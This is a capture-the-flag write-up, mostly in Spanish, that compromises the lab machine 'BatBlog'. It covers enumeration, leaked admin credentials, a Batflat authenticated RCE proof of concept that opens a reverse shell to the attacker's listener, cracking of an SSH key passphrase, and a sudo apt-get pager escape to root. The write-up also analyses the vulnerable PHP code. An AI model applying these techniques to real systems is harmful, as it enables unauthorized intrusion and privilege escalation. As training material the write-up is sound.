CyberWave: BatBlog Writeup | Easy

Table of Contents

CyberWave: BatBlog Writeup

Welcome to my detailed writeup of the easy difficulty machine “BatBlog” on CyberWave. This writeup will cover the steps taken to achieve initial foothold and escalation to root.

TCP Enumeration

1rustscan -a 10.10.10.3 --ulimit 5000 -g
210.10.10.3 -> [22,80]
 1nmap -p22,80 -sCV 10.10.10.3 -oN allPorts
 2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-21 14:05 CET
 3Nmap scan report for 10.10.10.3
 4Host is up (0.027s latency).
 5
 6PORT   STATE SERVICE VERSION
 722/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u4 (protocol 2.0)
 8| ssh-hostkey:
 9|   2048 b1:a3:c9:61:5a:1a:ca:40:51:db:9e:12:d3:e7:78:88 (RSA)
10|   256 74:8f:e3:ea:80:2c:18:fd:a2:9a:fc:f0:80:31:de:02 (ECDSA)
11|_  256 83:93:7a:c5:68:2d:93:3e:16:10:0b:24:92:21:79:b1 (ED25519)
1280/tcp open  http    Apache httpd 2.4.38 ((Debian))
13|_http-title: Blog | batblog.bsh
14|_http-server-header: Apache/2.4.38 (Debian)
15|_http-generator: Batflat
16Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
17
18Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
19Nmap done: 1 IP address (1 host up) scanned in 8.88 seconds

UDP Enumeration

 1sudo nmap --top-ports 1500 -sU --min-rate 5000 -n -Pn 10.10.10.3 -oN allPorts.UDP
 2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-21 14:06 CET
 3Nmap scan report for 10.10.10.3
 4Host is up (0.028s latency).
 5Not shown: 1494 open|filtered udp ports (no-response)
 6PORT      STATE  SERVICE
 71055/udp  closed ansyslmd
 817888/udp closed unknown
 918958/udp closed unknown
1019315/udp closed keyshadow
1121261/udp closed unknown
1226431/udp closed unknown
13
14Nmap done: 1 IP address (1 host up) scanned in 0.90 seconds

En el escaneo inicial vemos el dominio batblog.bsh, lo añadimos al /etc/hosts

HTTP Enumeration

Finding CMS version

Solo vemos dos puertos expuestos, un servicio HTTP y el SSH, dado que el SSH del servidor no es vulnerable, el vector de ataque de esta máquina será por “vía web”

whatweb no nos revela nada interesante acerca del sitio web.

1whatweb http://batblog.bsh
2http://batblog.bsh [200 OK] Apache[2.4.38], Bootstrap, Cookies[bat], Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.38 (Debian)], IP[10.10.10.3], JQuery[2.2.4], Lightbox, MetaGenerator[Batflat], Script, Title[Blog | batblog.bsh], UncommonHeaders[x-created-by], X-UA-Compatible[IE=edge]

Así se ve el sitio web. Write-up Image

Wappalyzzer nos muestra que se está utilizando SQLite por detrás, un tanto extraño que el plugin sea capaz de reportar esto, y también nos muestra que el lenguaje del servidor es PHP. Write-up Image

Viendo el código HTML, podemos sacar dos conclusiones. Que detrás hay un CMS y que batblog es el nombre del tema que se está usando, por lo cual, nos podría llevar a descubrir el CMS en uso. Write-up Image

Una simple búsqueda en Google nos demuestra que el CMS en uso es batflat Write-up Image

Aunque realmente en la página principal podemos deducir que este es el CMS. Write-up Image

El panel de autenticación se encuentra bajo el recurso /admin, interesante. Write-up Image

Descubrimos que existe una versión vulnerable de este CMS, que si tuviéramos credenciales de acceso podríamos conseguir ejecución remota de comandos. Write-up Image

Y viendo el código HTML también podemos comprobar que esta es la versión actual del servidor. Write-up Image

Gaining access to the admin dashboard

En este punto solo me quedaba hacer fuerza bruta o fuzzear para buscar directorios o recursos ocultos, cosa que en CMS no suele ser común pero bueno.

Podemos probar a fuzzear con feroxbuster y encontramos un recurso /secret bastante interesante.

 1feroxbuster -u http://batblog.bsh -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -d 1 -t 100 -C 404
 2.......
 3301      GET        9l       28w      308c http://batblog.bsh/inc => http://batblog.bsh/inc/
 4200      GET        0l        0w        0c http://batblog.bsh/454
 5200      GET        0l        0w        0c http://batblog.bsh/553
 6301      GET        9l       28w      308c http://batblog.bsh/tmp => http://batblog.bsh/tmp/
 7200      GET        0l        0w        0c http://batblog.bsh/baby
 8200      GET        0l        0w        0c http://batblog.bsh/922
 9200      GET        0l        0w        0c http://batblog.bsh/advantage
10200      GET        0l        0w        0c http://batblog.bsh/streaming
11200      GET        0l        0w        0c http://batblog.bsh/forBusinessPartners
12200      GET        0l        0w        0c http://batblog.bsh/ranks
13200      GET        0l        0w        0c http://batblog.bsh/729
14200      GET        0l        0w        0c http://batblog.bsh/hpc
15403      GET        9l       28w      276c http://batblog.bsh/tmp/switcher.html
16200      GET        1l        4w       39c http://batblog.bsh/ticket
17200      GET      139l      364w     5147c http://batblog.bsh/secret

Accediendo a este recurso, vemos una nota que nos indica que la contraseña del administrador nueva es 4dm1n, por lo cual podemos deducir que el nombre de usuario es admin Write-up Image

Si probamos estas credenciales, podemos iniciar sesión fácilmente. Write-up Image

Remote Command Execution -> Foothold

Stored XSS + Code Injection

Ahora vamos a probar este PoC, nos lo guardamos en un archivo llamado pwn.py para ver si efectivamente conseguimos ejecución remota de comandos.

Si nos ponemos escucha con pwncat-cs por el puerto 443.

1sudo ./pwncat-cs -lp 443

Y lanzamos el exploit.

 1python3 pwn.py http://batblog.bsh/ admin 4dm1n 10.0.0.2 443
 2###########################################################
 3#######    Batflat authenticated RCE by mari0x00    #######
 4###########################################################
 5
 6[+] Attempting user login
 7[+] Retrieving the token
 8[+] Token ID: 5a9f40a6fe8e
 9[+] Getting the add-user endpoint URL
10[+] Adding pwnd user
11
12[+] Triggering the shell. Go nuts!

Vemos que nos llega una conexión y efectivamente, ganamos acceso a la máquina víctima.

1[14:29:15] received connection from 10.10.10.3:44080                                                                                                                                                                            bind.py:84
2[14:29:26] 10.10.10.3:44080: registered new host w/ db                                                                                                                                                                      manager.py:957
3(local) pwncat$
4(remote) www-data@batblog:/var/www/html/batflat/admin$ whoami
5www-data

Ahora bien, no somos unos lammers y queremos saber porque pasa esto, nada es magia.

Para ello podemos analizar el código y ver las peticiones que ocurren por detrás. Vamos a modificar nuestro pwn.py creando un objeto proxies para asignar a nuestro burpsuite que está en escucha por el puerto 8080.

1proxies = {
2    'http': 'http://127.0.0.1:8080',
3    'https': 'http://127.0.0.1:8080'
4}

Ahora, como el creador del PoC decidió utilizar sesiones, es muy fácil asignar estos proxies, simplemente los asignamos al atributo proxies del objeto de la sesión.

1s.proxies = proxies

Así debería de quedar. Write-up Image

Y ya simplemente si ejecutamos nuestro pwn.py podemos ver que interceptamos la solicitud con burpsuite Write-up Image

Primero, lo que hace el exploit es iniciar sesión y conseguir el token del usuario para poder continuar con la fase de explotación.

Y la fase crítica es la siguiente, se hace una solicitud de tipo POST a /admin/users/save?t=TOKEN, donde al nombre completo se le pasa un payload en PHP. Write-up Image

Y para terminar, se intenta editar el usuario que hemos creado, por alguna razón este código PHP es interpretado y ejecutado en el servidor. Write-up Image

Podemos nosotros mismos dirigirnos al panel de usuarios, y vemos que el apartado fullname del usuario creado por el exploit sale en blanco. Aquí es donde hemos insertado nuestro código PHP. Write-up Image

Investigando un poco sobre esta vulnerabilidad. En la página oficial de batflat podemos ver que la última versión lanzada es la 1.3.6, la versión vulnerable.

El responsable de esta vulnerabilidad es este archivo de aquí

Podemos ver el apartado de código vulnerable, o mejor dicho, uno de ellos, es el siguiente.

  1public function postSave($id = null)
  2    {
  3        $errors = 0;
  4        $formData = htmlspecialchars_array($_POST);
  5
  6        // location to redirect
  7        $location = $id ? url([ADMIN, 'users', 'edit', $id]) : url([ADMIN, 'users', 'add']);
  8
  9        // admin
 10        if ($id == 1) {
 11            $formData['access'] = ['all'];
 12        }
 13
 14        // check if required fields are empty
 15        if (checkEmptyFields(['username', 'email', 'access'], $formData)) {
 16            $this->notify('failure', $this->lang('empty_inputs', 'general'));
 17            redirect($location, $formData);
 18        }
 19
 20        // check if user already exists
 21        if ($this->_userAlreadyExists($id)) {
 22            $errors++;
 23            $this->notify('failure', $this->lang('user_already_exists'));
 24        }
 25
 26        // check if e-mail adress is correct
 27        $formData['email'] = filter_var($formData['email'], FILTER_SANITIZE_EMAIL);
 28        if (!filter_var($formData['email'], FILTER_VALIDATE_EMAIL)) {
 29            $errors++;
 30            $this->notify('failure', $this->lang('wrong_email'));
 31        }
 32
 33        // check if password is longer than 5 characters
 34        if (isset($formData['password']) && strlen($formData['password']) < 5) {
 35            $errors++;
 36            $this->notify('failure', $this->lang('too_short_pswd'));
 37        }
 38
 39        // access to modules
 40        if ((count($formData['access']) == count($this->_getModules())) || ($id == 1)) {
 41            $formData['access'] = 'all';
 42        } else {
 43            $formData['access'][] = 'dashboard';
 44            $formData['access'] = implode(',', $formData['access']);
 45        }
 46
 47        // CREATE / EDIT
 48        if (!$errors) {
 49            unset($formData['save']);
 50
 51            if (!empty($formData['password'])) {
 52                $formData['password'] = password_hash($formData['password'], PASSWORD_BCRYPT);
 53            }
 54
 55            // user avatar
 56            if (($photo = isset_or($_FILES['photo']['tmp_name'], false)) || !$id) {
 57                $img = new \Inc\Core\Lib\Image;
 58
 59                if (empty($photo) && !$id) {
 60                    $photo = MODULES.'/users/img/default.png';
 61                }
 62                if ($img->load($photo)) {
 63                    if ($img->getInfos('width') < $img->getInfos('height')) {
 64                        $img->crop(0, 0, $img->getInfos('width'), $img->getInfos('width'));
 65                    } else {
 66                        $img->crop(0, 0, $img->getInfos('height'), $img->getInfos('height'));
 67                    }
 68
 69                    if ($img->getInfos('width') > 512) {
 70                        $img->resize(512, 512);
 71                    }
 72
 73                    if ($id) {
 74                        $user = $this->db('users')->oneArray($id);
 75                    }
 76
 77                    $formData['avatar'] = uniqid('avatar').".".$img->getInfos('type');
 78                }
 79            }
 80
 81            if (!$id) { // new
 82                $query = $this->db('users')->save($formData);
 83            } else { // edit
 84                $query = $this->db('users')->where('id', $id)->save($formData);
 85            }
 86
 87            if ($query) {
 88                if (isset($img) && $img->getInfos('width')) {
 89                    if (isset($user)) {
 90                        unlink(UPLOADS."/users/".$user['avatar']);
 91                    }
 92
 93                    $img->save(UPLOADS."/users/".$formData['avatar']);
 94                }
 95
 96                $this->notify('success', $this->lang('save_success'));
 97            } else {
 98                $this->notify('failure', $this->lang('save_failure'));
 99            }
100
101            redirect($location);
102        }
103
104        redirect($location, $formData);
105    }

Este método es responsable de:

Pero a la hora de validar los datos, no filtra por caracteres especiales, por lo cual podemos crear un usuario con, por ejemplo, un código PHP.

No debería de pasar nada al mostrar el usuario realmente, si la aplicación está bien construida no debería de existir una vulnerabilidad, pero siguiendo la pista nos encontramos la función getManage(), responsable de mostrar los usuarios de la base de datos.

 1public function getManage()
 2    {
 3        $rows = $this->db('users')->toArray();
 4
 5        foreach ($rows as &$row) {
 6            if (empty($row['fullname'])) {
 7                $row['fullname'] = '----';
 8            }
 9
10            $row['editURL'] = url([ADMIN, 'users', 'edit', $row['id']]);
11            $row['delURL']  = url([ADMIN, 'users', 'delete', $row['id']]);
12        }
13
14        return $this->draw('manage.html', ['myId' => $this->core->getUserInfo('id'), 'users' => $rows]);
15    }

Esto nos lleva a manage.php que simplemente lo que hace es mostrar el valor de los campos de la base de datos de una forma que interpreta el código de PHP por lo cual, es ejecutado en el servidor. Esta plantilla no utiliza mecanismos seguros para evitar la interpretación de datos como código ejecutable en el servidor, por lo cual resulta en la vulnerabilidad que hemos explotado.

 1<tbody>
 2                            {loop: $users}
 3                            <tr>
 4                                <td><a href="{$value.editURL}">{$value.username}</a></td>
 5                                <td>{$value.fullname}</td>
 6                                <td>{$value.email}</td>
 7                                <td class="text-right">
 8                                    <a href="{$value.editURL}" class="btn btn-xs btn-success">
 9                                        <i class="fa fa-pencil"></i> <span class="hidden-xs">{$lang.general.edit}</span>
10                                    </a>
11                                    <a href="{$value.delURL}" class="btn btn-xs btn-danger {if: $value.id==1 || $value.id==$myId}disabled{/if}" data-confirm="{$lang.users.delete_confirm}">
12                                        <i class="fa fa-trash-o"></i> <span class="hidden-xs">{$lang.general.delete}</span>
13                                    </a>
14                                </td>
15                            </tr>
16                            {/loop}
17                        </tbody>

Privilege Escalation

User Pivoting

Information Disclosure + SSH Private Key Cracking

No encontramos la flag y ademas vemos que existe otro usuario aparte de root en el sistema, este usuario se llama badmin

1(remote) www-data@batblog:/$ cat /etc/passwd | grep bash
2root:x:0:0:root:/root:/bin/bash
3badmin:x:1000:1000:badmin,,,:/home/badmin:/bin/bash

Eso me hace pensar que tenemos que migrar a este usuario para conseguir la flag de usuario y ya de ahí escalar privilegios.

Podemos buscar archivos que pertenezcan a este usuario y encontramos uno que me llama mucho la atención, id_rsa dentro del directorio donde está la aplicación web, este archivo no debería de estar ahí.

1(remote) www-data@batblog:/tmp$ find / -type f -user badmin 2>/dev/null | grep -v proc | grep -v cgroup
2/home/badmin/.wget-hsts
3/home/badmin/.bashrc
4/home/badmin/.bash_logout
5/home/badmin/.profile
6/home/badmin/.bash_history
7/var/www/html/batflat/admin/tmp/id_rsa

Podemos descargar esta clave privada y echarla un vistazo en nuestra máquina, vamos a hacer uso de la función download de pwncat-cs

1(local) pwncat$ download /var/www/html/batflat/admin/tmp/id_rsa
2/var/www/html/batflat/admin/tmp/id_rsa ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100.0% • 1.9/1.9 KB • ? • 0:00:00
3[16:37:32] downloaded 1.88KiB in 0.16 seconds

Una cosa que podemos hacer pasa saber a quien pertenece esta clave privada realmente es derivar la clave pública de esta clave privada, pero vemos que está protegida con una passphrase por lo cual no podemos.

1ssh-keygen -y -f id_rsa > id_rsa.pub
2Enter passphrase:

Podemos usar ssh2john para extraer el hash de esta passphrase e intentar crackearlo.

1ssh2john id_rsa > hash

Ahora con john podemos crackear esta passphrase.

 1john -w=/usr/share/wordlists/rockyou.txt hash
 2Using default input encoding: UTF-8
 3Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
 4Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
 5Cost 2 (iteration count) is 16 for all loaded hashes
 6Will run 4 OpenMP threads
 7Press 'q' or Ctrl-C to abort, almost any other key for status
 8pa55w0rd         (id_rsa)
 91g 0:00:03:30 DONE (2024-11-21 16:29) 0.004740g/s 35.79p/s 35.79c/s 35.79C/s 12346..europa
10Use the "--show" option to display all of the cracked passwords reliably
11Session completed.

Entonces ahora si que podemos derivar la clave pública y vemos que pertenece al usuario badmin

 1➜  content ssh-keygen -y -f id_rsa > id_rsa.pub
 2Enter passphrase:
 3➜  content cat id_rsa.pub
 4───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────────
 5       │ File: id_rsa.pub
 6───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────
 7   1   │ ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtTpfujL+ACKR1sjRqTxxxTbahhuY7PfyH3ndLVsziJnLZVFsMJvXThdzMba2QIRXEzu
 8       │ ojTUkpIbxzl6ayjSIs8pNvxwakJeN1F8r9KjORu9FmFDKp7vdvR2dMY4ct1qGUwBU9lnfdcaW3iTNtW6ymZsB7Qwqy8hZgvokubnUNU+7f
 9       │ loSSTXNNBvbnmTyHgdVunuaFc/dXBaXYCJEaxeUXQd252XMk9PGSapF8kKSnqQU/ZWwc4h69dXkaygu+rhIXppS+TtAgUSSKA6ASTwnajw
10       │ JHkW6sBR53mceqcpKRwAmZdKvbrw0TcdrlhuLdcQEN/5lU0RQkWWGXlY7FR4fp badmin@batblog
11───────┴───────────────────────────────────────────────────────────────────────────────────────────────────────────

Ahora podemos iniciar sesión como badmin utilizando su clave privada y la passphrase.

 1ssh badmin@batblog.bsh -i id_rsa
 2Enter passphrase for key 'id_rsa':
 3Linux batblog 4.19.0-26-amd64 #1 SMP Debian 4.19.304-1 (2024-01-09) x86_64
 4
 5The programs included with the Debian GNU/Linux system are free software;
 6the exact distribution terms for each program are described in the
 7individual files in /usr/share/doc/*/copyright.
 8
 9Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
10permitted by applicable law.
11Last login: Tue May  7 15:05:25 2024 from 10.0.0.2
12badmin@batblog:~$ id
13uid=1000(badmin) gid=1000(badmin) groups=1000(badmin),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)

Podemos leer la flag de usuario.

1badmin@batblog:~$ cat user.txt
24cba7d3b85f362f1d...

Pivoting to root

Podemos ver que podemos ejecutar el binario apt-get como root sin necesidad de proporcionar contraseña.

1badmin@batblog:~$ sudo -l
2
3sudo: unable to resolve host batblog: Temporary failure in name resolution
4Matching Defaults entries for badmin on batblog:
5    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
6
7User badmin may run the following commands on batblog:
8    (root) NOPASSWD: /bin/apt-get

Una simple búsqueda en GTFOBins nos revela como escalar privilegios en nuestro caso.

Podemos abusar de que apt-get invoca el pager por defecto (less), y gracias a esta funcionalidad del binario podemos llegar a ejecutar el comando que queramos.

Ejecutamos lo que nos indica GTFOBins y esperamos un rato hasta que cargue la lista de cambios.

1badmin@batblog:~$ sudo apt-get changelog apt

Una vez hecho eso, simplemente introducimos !/bin/bash y se nos lanzará una consola como root que es el usuario con el cual estamos ejecutando el apt-get

1badmin@batblog:~$ sudo apt-get changelog apt
2sudo: unable to resolve host batblog: Temporary failure in name resolution
3Get:1 store: apt 1.8.2.3 Changelog
4Fetched 459 kB in 0s (0 B/s)
5WARNING: terminal is not fully functional
6/tmp/apt-changelog-GF6tWs/apt.changelog  (press RETURN)
7!/bin/bash
8root@batblog:/home/badmin# id
9uid=0(root) gid=0(root) groups=0(root)

Podemos leer la flag de root

1root@batblog:~# cat root.txt
2fb99ec67e2af74a33...

¡Y ya estaría!

Happy Hacking! 🚀

#CyberWave   #BatBlog   #Writeup   #Cybersecurity   #Penetration Testing   #CTF   #Reverse Shell   #Privilege Escalation   #RCE   #Exploit   #Linux   #HTTP Enumeration   #Stored XSS   #XSS   #Cross Site Scripting   #Code Injection   #CVE-2020-35734   #Code Analysis   #Information Disclosure   #Hash Cracking   #Abusing Sudo Privilege   #Abusing Sudo   #Abusing Apt-Get